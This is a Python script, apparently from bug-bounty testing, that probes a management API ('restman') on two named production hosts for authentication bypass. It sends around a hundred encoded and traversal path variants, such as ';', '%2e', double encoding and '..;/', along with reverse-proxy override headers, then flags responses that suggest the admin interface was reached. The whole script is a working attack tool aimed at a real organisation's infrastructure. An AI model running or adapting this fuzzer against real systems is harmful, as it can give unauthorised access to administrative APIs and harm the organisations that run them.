#!/usr/bin/env python3
import subprocess,re,concurrent.futures,hashlib,json
hosts=['api.baloise.de','api2.baloise.de']
base='restman/1.0/services'
paths=[
'/restman/1.0/services','/restman/1.0/services/','/restman/1.0/services;','/restman/1.0/services;foo','/restman/1.0/services;.json','/restman/1.0/services.json','/restman/1.0/services.','/restman/1.0/services..',
'/restman;/1.0/services','/restman;foo/1.0/services','/restman%3b/1.0/services','/restman%3bfoo/1.0/services','/restman./1.0/services','/restman%2e/1.0/services','/restman%252e/1.0/services',
'/restman/;/1.0/services','/restman/.;/1.0/services','/restman/%2e;/1.0/services','/restman/%2e/1.0/services','/restman/%252e/1.0/services','/restman//1.0/services','/restman///1.0/services',
'/restman/1.0;/services','/restman/1.0;foo/services','/restman/1.0%3b/services','/restman/1.0%3bfoo/services','/restman/1.0./services','/restman/1%2e0/services','/restman/1%252e0/services',
'/restman/1.0/.;/services','/restman/1.0/%2e;/services','/restman/1.0/%2e/services','/restman/1.0/%252e/services','/restman/1.0//services','/restman/1.0///services',
'/./restman/1.0/services','/.;/restman/1.0/services','/%2e/restman/1.0/services','/%2e;/restman/1.0/services','/%252e/restman/1.0/services','//restman/1.0/services','///restman/1.0/services','/;/restman/1.0/services','/;foo/restman/1.0/services',
'/x/../restman/1.0/services','/x/..;/restman/1.0/services','/x/%2e%2e/restman/1.0/services','/x/%2e%2e;/restman/1.0/services','/x/%252e%252e/restman/1.0/services','/x/.%2e/restman/1.0/services','/x/%2e./restman/1.0/services',
'/restman/x/../1.0/services','/restman/x/..;/1.0/services','/restman/x/%2e%2e/1.0/services','/restman/x/%2e%2e;/1.0/services','/restman/x/%252e%252e/1.0/services',
'/restman/1.0/x/../services','/restman/1.0/x/..;/services','/restman/1.0/x/%2e%2e/services','/restman/1.0/x/%2e%2e;/services','/restman/1.0/x/%252e%252e/services',
'/RESTMAN/1.0/services','/Restman/1.0/services','/%72estman/1.0/services','/r%65stman/1.0/services','/rest%6dan/1.0/services','/restman%2f1.0%2fservices','/restman%252f1.0%252fservices','/%2frestman/1.0/services','/%252frestman/1.0/services','/%5crestman/1.0/services','/%255crestman/1.0/services',
'/restman%5c1.0%5cservices','/restman%255c1.0%255cservices','/restman\\1.0\\services','/restman/1.0%2fservices','/restman/1.0%252fservices','/restman/1.0%5cservices','/restman/1.0%255cservices',
'/restman/%2e%2e/restman/1.0/services','/restman/..;/restman/1.0/services','/restman/1.0/%2e%2e/1.0/services','/restman/1.0/..;/1.0/services','/restman/1.0/services%3f.css','/restman/1.0/services%23.css',
'//api.baloise.de/restman/1.0/services','https://api.baloise.de/restman/1.0/services','http://api.baloise.de/restman/1.0/services',
]
# headers that sometimes alter reverse-proxy routing
header_sets=[('none',[]),('orig',['X-Original-URL: /restman/1.0/services']),('rewrite',['X-Rewrite-URL: /restman/1.0/services']),('uri',['X-Forwarded-Uri: /restman/1.0/services']),('method',['X-HTTP-Method-Override: GET'])]
tasks=[]
for h in hosts:
 for p in paths:tasks.append((h,p,'none',[]))
 # Test route-override headers on a harmless non-management path and canonical management path.
 for name,hs in header_sets[1:]:
  tasks.append((h,'/SecurityTest-dwbzn-nonexistent',name,hs))
  tasks.append((h,'/restman/1.0/services',name,hs))
def one(t):
 h,p,label,hs=t
 cmd=['curl','--toadex-no-capture','-sk','--http1.1','--path-as-is','--connect-timeout','3','--max-time','10','-H','X-Bug-Bounty: dwbzn','-H','Accept: application/json,application/xml,*/*']
 for x in hs:cmd += ['-H',x]
 cmd += ['--request-target',p,'-D','-','-o','-','https://'+h+'/']
 try:r=subprocess.run(cmd,capture_output=True,timeout=12)
 except subprocess.TimeoutExpired:return {'host':h,'path':p,'label':label,'status':'TIMEOUT'}
 raw=r.stdout;ms=list(re.finditer(br'HTTP/\S+\s+(\d+)[^\r\n]*\r?\n',raw))
 if not ms:return {'host':h,'path':p,'label':label,'status':'ERR','error':r.stderr.decode()[:100]}
 m=ms[-1];sep=raw.find(b'\r\n\r\n',m.start());sl=4
 if sep<0:sep=raw.find(b'\n\n',m.start());sl=2
 hdr=raw[m.start():sep].decode('latin1','replace');body=raw[sep+sl:]
 ct='';www=''
 for l in hdr.splitlines():
  if l.lower().startswith('content-type:'):ct=l.split(':',1)[1].strip()
  if l.lower().startswith('www-authenticate:'):www=l.split(':',1)[1].strip()
 low=body.lower();
 sig=[]
 for k in [b'authentication failed',b'access-denied',b'restman',b'clusterproperty',b'l7:',b'policy falsified',b'not found']:
  if k in low:sig.append(k.decode())
 return {'host':h,'path':p,'label':label,'status':m.group(1).decode(),'size':len(body),'ct':ct,'www':www,'sig':sig,'sha':hashlib.sha256(body).hexdigest()[:12]}
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as ex:rows=list(ex.map(one,tasks))
with open('work/scratch/restman-auth-bypass-all.jsonl','w') as f:
 for r in rows:f.write(json.dumps(r)+'\n')
from collections import Counter
print('total',len(rows),'status',dict(Counter(r['status'] for r in rows)))
print('interesting')
for r in rows:
 if r['status'] not in ('400','401','404','500') or (r['status']!='401' and any('restman'==x or 'clusterproperty'==x or 'l7:'==x for x in r.get('sig',[]))):print(json.dumps(r))
print('signatures')
for k,n in Counter((r['status'],r.get('size'),r.get('ct'),tuple(r.get('sig',[]))) for r in rows).most_common():print(n,k)
